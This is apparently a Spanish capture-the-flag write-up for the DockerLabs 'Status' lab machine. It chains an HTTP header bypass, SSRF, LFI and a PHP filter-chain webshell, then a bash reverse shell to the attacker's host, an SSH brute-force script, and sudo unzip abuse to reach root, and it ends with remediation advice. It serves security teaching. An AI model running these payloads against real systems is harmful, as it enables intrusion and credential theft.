Ir al contenido

Status

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Status, desarrollada por Pylon & El Pingüino de Mario para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario avanzado donde múltiples vulnerabilidades web encadenadas permiten acceso completo al sistema, incluyendo bypass de controles mediante cabeceras HTTP.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de funcionalidad oculta mediante cabeceras HTTP.
  2. Explotación: Path traversal, Local File Inclusion (LFI) y conversión a Remote Code Execution (RCE) mediante PHP wrappers.
  3. Escalada de privilegios: Fuerza bruta dirigida y abuso de privilegios sudo en unzip.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades complejas en aplicaciones web.


AtributoValor
NombreStatus
AutorPylon & El Pingüino de Mario
DificultadMedio
Fecha25/06/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y lo desplegamos:

Ventana de terminal
unzip Status.zip
sudo bash auto_deploy.sh Status.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Status/{content,exploits,nmap,gobuster,scripts}
cd Status

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Único servicio HTTP expuesto

Realizamos un escaneo de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Escaneo de directorios

Figura 3: Resultados del escaneo en puerto 80

  1. /index — Página principal básica

    Ventana de terminal
    curl -s http://172.17.0.2/
  2. /status.php — Endpoint que verifica estado Página /status Figura 4: Endpoint /status.php con mensaje genérico

Inspeccionando la respuesta de /status.php con Burp Suite:

Respuesta con cabecera Statusid

Figura 5: Cabecera personalizada Statusid en la respuesta

Hallazgo crítico: La respuesta incluye la cabecera personalizada Statusid: 0, sugiriendo un mecanismo de control de acceso basado en cabeceras HTTP.


Fase 3 — Explotación: Bypass de Controles

Sección titulada «Fase 3 — Explotación: Bypass de Controles»

Probamos enviar la cabecera Statusid: 1:

Ventana de terminal
curl -s -H "Statusid: 1" http://172.17.0.2/status.php

Resultado: Se revela una funcionalidad oculta - un verificador de estado de sitios web:

Funcionalidad oculta

Figura 6: Panel de verificación de estado de sitios web

Utilizamos la funcionalidad para escanear puertos internos mediante SSRF:

Ventana de terminal
# Usamos ffuf para escanear puertos locales
seq 1 10000 | ffuf -w - \
-u 'http://172.17.0.2/status.php' \
-X POST \
-H 'Statusid: 1' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'url=http://localhost:FUZZ' \
-fs 339

Resultado del escaneo de puertos

Figura 7: Puerto 3222 identificado como servicio web interno

Hallazgo: Puerto 3222 expone un servicio web interno.

Accedemos al servicio interno descubierto:

Ventana de terminal
curl -s -H "Statusid: 1" \
-d "url=http://localhost:3222" \
http://172.17.0.2/status.php

API interna descubierta

Figura 8: Endpoints de API descubiertos

Descubrimos y descargamos un archivo backup:

Ventana de terminal
# Descargamos el backup
wget "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip"
# Extraemos contenido
unzip backup_5025a3123660d066c9ba8617c0cd92d5.zip

Examinamos el código fuente extraído y descubrimos un archivo vulnerable:

Ventana de terminal
find . -name "*.php" -type f | xargs grep -l "file.php\|include\|require"

Hallazgo: file.php contiene vulnerabilidad de Local File Inclusion (LFI) en el parámetro 72e22dffd7fa10883a85aa3e0bbbd6d4.

Probamos la vulnerabilidad LFI:

Ventana de terminal
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=/etc/passwd"

LFI exitoso

Figura 9: Lectura de /etc/passwd mediante LFI

3.7 Conversión de LFI a RCE mediante PHP Wrappers

Sección titulada «3.7 Conversión de LFI a RCE mediante PHP Wrappers»

Verificamos disponibilidad de PHP wrappers:

Ventana de terminal
# Probamos php://filter
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/read=string.toupper/resource=file.php"

Confirmación: Los wrappers PHP están disponibles.

Utilizamos php_filter_chain_generator para crear una cadena que inyecte código PHP:

Ventana de terminal
# Generamos cadena para webshell
python3 php_filter_chain_generator.py \
--chain '<?php system($_GET["cmd"]); ?>'

Probamos la ejecución de comandos:

Ventana de terminal
# URL encode la cadena generada
CHAIN="php://filter/generator...php://temp"
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=id"

RCE exitoso

Figura 10: Ejecución de comando mediante RCE

Creamos una reverse shell:

Ventana de terminal
# Iniciamos listener
nc -nlvp 443
# URL encode del payload
PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'\"))")
# Ejecutamos reverse shell
curl -s "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=${CHAIN}&cmd=${PAYLOAD}"

Reverse shell obtenida

Figura 11: Shell como www-data obtenida

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Comenzamos la enumeración post-explotación:

Ventana de terminal
whoami
id
pwd
ls -la

Identificamos el usuario baluton en /etc/passwd pero no tenemos credenciales. Realizamos fuerza bruta:

Preparación en máquina atacante:

# Creamos script UserRush.sh
cat > UserRush.sh << 'EOF'
#!/bin/bash
# Script simplificado para fuerza bruta SSH
USER=$1
WORDLIST="rockyou.txt"
while read PASS; do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no $USER@172.17.0.2 "id" 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] Credenciales encontradas: $USER:$PASS"
exit 0
fi
done < "$WORDLIST"
EOF
chmod +x UserRush.sh

Transferencia a máquina objetivo:

Ventana de terminal
# En atacante
python3 -m http.server 8000
# En objetivo (via RCE)
curl -o /tmp/UserRush.sh http://172.17.0.1:8000/UserRush.sh
curl -o /tmp/rockyou.txt http://172.17.0.1:8000/rockyou.txt

Ejecución de fuerza bruta:

Ventana de terminal
cd /tmp
chmod +x UserRush.sh
./UserRush.sh baluton

Resultado fuerza bruta

Figura 12: Credenciales de baluton obtenidas

Credenciales obtenidas: baluton:fiesta

Ventana de terminal
su baluton
# Contraseña: fiesta

Shell como baluton

Figura 13: Acceso como usuario baluton

Ventana de terminal
sudo -l

Privilegios sudo

Figura 14: baluton puede ejecutar unzip como root

Hallazgo: (root) NOPASSWD: /usr/bin/unzip

Ventana de terminal
find / -name "*.zip" -type f 2>/dev/null

Archivos ZIP encontrados

Figura 15: Archivo ZIP encontrado en sistema

Ventana de terminal
# Creamos directorio temporal
mkdir -p /tmp/secret_extraction
# Extraemos como root
sudo /usr/bin/unzip /secretitosecretazo.zip -d /tmp/secret_extraction
# Examinamos contenido
ls -la /tmp/secret_extraction/
Ventana de terminal
cat /tmp/secret_extraction/regalitoregalazoregalin.txt

Credenciales root

Figura 16: Credenciales root en archivo extraído

Credenciales obtenidas: root:12345678

Ventana de terminal
su root
# Contraseña: 12345678

Shell como root

Figura 17: Acceso root exitoso

Ventana de terminal
id
whoami
cat /etc/shadow | head -1

VulnerabilidadSeveridadImpactoCWE/Referencia
Control de acceso basado únicamente en cabeceras HTTPAltaBypass de autenticaciónCWE-639
Server-Side Request Forgery (SSRF)CríticaEnumeración de servicios internosCWE-918
Local File Inclusion (LFI) sin sanitizaciónCríticaLectura arbitraria de archivosCWE-22
Disponibilidad de wrappers PHP peligrososCríticaLFI → RCE conversionCWE-73
Contraseñas débiles y predeciblesAltaEscalada horizontalCWE-521
Configuración insegura de sudo (unzip)CríticaEscalada vertical a rootCWE-269
Archivos con credenciales en texto planoCríticaExposición de credenciales privilegiadasCWE-312
  1. Autenticación y Autorización Robustas:

    • Implementar mecanismos de autenticación estándar (JWT, sessions)
    • No confiar únicamente en cabeceras HTTP para control de acceso
    • Implementar validación de origen de peticiones
    // EJEMPLO DE VALIDACIÓN CORRECTA
    session_start();
    if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    http_response_code(403);
    die('Acceso no autorizado');
    }
  2. Protección contra SSRF:

    • Validar y sanitizar URLs en funciones de red
    • Implementar listas blancas de dominios permitidos
    • Utilizar firewalls de aplicación web (WAF)
    $allowed_hosts = ['example.com', 'api.example.com'];
    $host = parse_url($url, PHP_URL_HOST);
    if (!in_array($host, $allowed_hosts)) {
    die('Host no permitido');
    }
  3. Sanitización de Entradas para LFI:

    • Validar y sanitizar todos los parámetros de entrada
    • Utilizar listas blancas de archivos permitidos
    • Evitar inclusión dinámica basada en entrada de usuario
    // INCORRECTO
    include($_GET['file']);
    // CORRECTO
    $allowed_files = ['page1.php', 'page2.php'];
    $file = basename($_GET['file']);
    if (in_array($file, $allowed_files)) {
    include($file);
    } else {
    die('Archivo no permitido');
    }
  4. Configuración Segura de PHP:

    • Deshabilitar wrappers PHP peligrosos
    ; php.ini configuration
    allow_url_fopen = Off
    allow_url_include = Off
    • Restringir funciones peligrosas
    disable_functions = system,exec,passthru,shell_exec
  5. Gestión de Credenciales:

    • Implementar políticas de contraseñas complejas
    • Utilizar autenticación multifactor
    • No almacenar credenciales en texto plano
    • Rotar credenciales regularmente
  6. Configuración Segura de Sudo:

    • Revisar y minimizar privilegios sudo
    • Especificar comandos exactos con argumentos
    Ventana de terminal
    # INCORRECTO
    baluton ALL=(ALL) NOPASSWD: /usr/bin/unzip
    # CORRECTO (si es necesario)
    baluton ALL=(ALL) NOPASSWD: /usr/bin/unzip /backups/*
  7. Monitoreo y Detección:

    • Implementar logging de intentos de LFI/SSRF
    • Configurar alertas para ejecución de comandos
    • Monitorear uso de privilegios sudo
    • Realizar auditorías de seguridad periódicas
    Ventana de terminal
    # Configurar auditd para monitorear sudo
    auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo
  8. Desarrollo Seguro:

    • Implementar revisiones de código de seguridad
    • Realizar pruebas de penetración regulares
    • Capacitar a desarrolladores en seguridad web
    • Utilizar herramientas SAST/DAST